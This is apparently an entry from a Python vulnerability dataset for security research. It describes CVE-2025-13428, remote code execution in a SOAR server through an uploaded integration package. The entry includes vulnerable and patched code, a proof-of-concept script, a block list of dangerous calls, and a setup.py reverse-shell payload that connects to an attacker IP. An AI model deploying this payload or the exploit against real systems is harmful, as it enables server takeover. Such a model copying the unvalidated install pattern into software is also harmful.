CVE-2025-13428
Authenticated RCE in SOAR server via a malicious custom integration package.
- CVSS 8.6
- CWE-20
- Input Validation and Sanitization
- Remote
A vulnerability exists in the SecOps SOAR server. The custom integrations feature allowed an authenticated user with an "IDE role" to achieve Remote Code Execution (RCE) in the server. The flaw stemmed from weak validation of uploaded Python package code. An attacker could upload a package containing a malicious setup.py file, which would execute on the server during the installation process, leading to potential server compromise. No customer action is required. All customers have been automatically upgraded to the fixed version: 6.3.64 or higher.
- CWE
- CWE-20
- CVSS base score
- 8.6
- Published
- 2025-12-09
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- SecOps SOAR
Solution
Upgrade to version 6.3.64 or higher.
Vulnerable code sample
import os
import subprocess
import tempfile
import shutil
import tarfile
# This represents the vulnerable server-side function that processes an uploaded integration package.
# The flaw is that it blindly trusts and executes the setup.py file from the package.
def install_custom_integration(package_path):
"""
Extracts and installs a custom integration package.
VULNERABILITY: Executes setup.py without validation, leading to RCE.
"""
# Create a temporary directory to extract the package
with tempfile.TemporaryDirectory() as temp_dir:
print(f"[Server] Unpacking '{package_path}' to '{temp_dir}'...")
try:
# Unpack the tar.gz file
shutil.unpack_archive(package_path, temp_dir)
except Exception as e:
print(f"[Server] Error unpacking archive: {e}")
return
# Find the setup.py file's directory
package_source_dir = None
for root, dirs, files in os.walk(temp_dir):
if "setup.py" in files:
package_source_dir = root
break
if package_source_dir:
print(f"[Server] Found setup.py in '{package_source_dir}'.")
print("[Server] VULNERABLE ACTION: Running 'python setup.py install'...")
# DANGEROUS: Execute the setup script. An attacker controls this file.
# This is where the Remote Code Execution occurs.
try:
# The 'cwd' argument ensures the command runs in the context of the extracted package.
result = subprocess.run(
["python", "setup.py", "install"],
cwd=package_source_dir,
capture_output=True,
text=True,
check=False # Set to False to see output even on error
)
print("[Server] Subprocess STDOUT:\n" + result.stdout)
print("[Server] Subprocess STDERR:\n" + result.stderr)
print("[Server] Installation command finished.")
except Exception as e:
print(f"[Server] An exception occurred during installation: {e}")
else:
print("[Server] Error: setup.py not found in the package.")
# --- Simulation of an attacker's actions ---
def create_malicious_package(file_name="malicious_package.tar.gz"):
"""Creates a malicious Python package with a payload in setup.py."""
print("[Attacker] Creating a malicious package...")
# The malicious payload to be embedded in setup.py
# This payload will execute on the server during installation.
malicious_setup_py_content = """
from setuptools import setup
import os
print("--- Malicious setup.py is executing ---")
# Simple RCE payload: create a file to prove execution
payload_file = "/tmp/rce_was_successful"
print(f"Executing payload: Creating file at {payload_file}")
with open(payload_file, "w") as f:
f.write("CVE-2025-13428 PoC executed successfully.\\n")
print("--- Malicious execution finished ---")
setup(
name="malicious_integration",
version="1.0",
description="A package with a harmful setup script.",
)
"""
with tempfile.TemporaryDirectory() as temp_dir:
package_dir = os.path.join(temp_dir, "malicious_integration-1.0")
os.makedirs(package_dir)
# Write the malicious setup.py
with open(os.path.join(package_dir, "setup.py"), "w") as f:
f.write(malicious_setup_py_content)
# Write a dummy __init__.py to make it a package
with open(os.path.join(package_dir, "__init__.py"), "w") as f:
pass
# Create a compressed tarball (source distribution)
with tarfile.open(file_name, "w:gz") as tar:
tar.add(package_dir, arcname=os.path.basename(package_dir))
print(f"[Attacker] Malicious package created at '{file_name}'")
return file_name
if __name__ == "__main__":
# 1. Attacker creates the malicious package
malicious_archive = create_malicious_package()
print("\n" + "="*50 + "\n")
# 2. Attacker uploads the package, and the server's vulnerable function processes it
print("[Server] Simulating an authenticated user uploading a custom integration...")
# This function call represents the vulnerable part of the server application
install_custom_integration(malicious_archive)
print("\n" + "="*50 + "\n")
# 3. Verify if the RCE payload was successful
proof_of_concept_file = "/tmp/rce_was_successful"
print(f"[Verification] Checking for existence of '{proof_of_concept_file}'...")
if os.path.exists(proof_of_concept_file):
print(f"[Verification] SUCCESS: The payload executed. The file was created.")
with open(proof_of_concept_file, 'r') as f:
print(f"File content: '{f.read().strip()}'")
# Clean up the evidence
os.remove(proof_of_concept_file)
print("[Verification] Cleaned up the payload file.")
else:
print("[Verification] FAILURE: The payload did not execute. The file was not found.")
# Clean up the created package
if os.path.exists(malicious_archive):
os.remove(malicious_archive)Patched code sample
import os
import shutil
import subprocess
import tarfile
import tempfile
from pathlib import Path
# A set of dangerous patterns to detect in the source code.
# In a real-world scenario, a more robust static analysis tool would be used.
DANGEROUS_PATTERNS = {
b'os.system',
b'subprocess.run',
b'subprocess.call',
b'subprocess.check_call',
b'subprocess.check_output',
b'eval(',
b'exec('
}
class UnsafePackageError(Exception):
"""Custom exception for invalid or malicious packages."""
pass
def secure_install_integration(package_path: str, install_target_dir: str):
"""
Securely unpacks and installs a Python package, validating its contents
to prevent Remote Code Execution (RCE) via malicious setup files.
This function enforces modern packaging standards and performs basic static analysis.
Args:
package_path: The path to the uploaded package file (e.g., a .tar.gz).
install_target_dir: The directory where the package should be installed.
Raises:
UnsafePackageError: If the package is found to be unsafe.
FileNotFoundError: If the package_path does not exist.
subprocess.CalledProcessError: If the installation command fails.
"""
if not os.path.exists(package_path):
raise FileNotFoundError(f"Package not found at: {package_path}")
temp_dir = tempfile.mkdtemp()
try:
# 1. Securely extract the package
with tarfile.open(package_path) as tf:
# Prevent path traversal attacks
for member in tf.getmembers():
if member.name.startswith("/") or ".." in member.name:
raise UnsafePackageError("Package contains invalid or malicious file paths (path traversal).")
tf.extractall(temp_dir)
# The actual source code is often in a subdirectory
package_root = temp_dir
# Find the directory containing pyproject.toml
pyproject_path = next(Path(package_root).glob('**/pyproject.toml'), None)
if pyproject_path:
package_root = pyproject_path.parent
else:
raise UnsafePackageError("Package validation failed: 'pyproject.toml' not found. Modern packaging is required.")
# 2. **VULNERABILITY FIX**: Validate package structure and contents
has_pyproject_toml = False
for root, _, files in os.walk(package_root):
# FIX: Disallow 'setup.py' to prevent execution of arbitrary code during installation.
if 'setup.py' in files:
raise UnsafePackageError("Package validation failed: 'setup.py' is not allowed. Use 'pyproject.toml' instead.")
if 'pyproject.toml' in files and Path(root) == Path(package_root):
has_pyproject_toml = True
# FIX: Perform basic static analysis on all Python files.
for filename in files:
if filename.endswith('.py'):
file_path = os.path.join(root, filename)
with open(file_path, 'rb') as f:
content = f.read()
for pattern in DANGEROUS_PATTERNS:
if pattern in content:
raise UnsafePackageError(f"Package validation failed: Potentially dangerous code found in '{file_path}'.")
if not has_pyproject_toml:
raise UnsafePackageError("Package validation failed: 'pyproject.toml' not found in the root. Modern packaging is required.")
# 3. If all checks pass, proceed with a safe installation
# Use pip to install from the validated local source directory.
# This is safer than running 'python setup.py install'.
# The '--no-deps' flag can prevent fetching untrusted remote dependencies.
# Installing to a specific target directory isolates the package.
subprocess.run(
[
'python', '-m', 'pip', 'install',
'--target', install_target_dir,
'--no-dependencies',
str(package_root)
],
check=True,
capture_output=True,
text=True
)
finally:
# 4. Clean up the temporary directory
shutil.rmtree(temp_dir)Payload
from setuptools import setup, find_packages
import socket
import os
import subprocess
RHOST = '10.10.10.10' # Attacker's IP address
RPORT = 4444 # Attacker's listening port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(['/bin/sh', '-i'])
setup(
name='malicious_integration',
version='1.0',
description='A malicious package to exploit CVE-2025-13428',
packages=find_packages(),
)
Cite this entry
@misc{vaitp:cve202513428,
title = {{Authenticated RCE in SOAR server via a malicious custom integration package.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-13428},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-13428/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
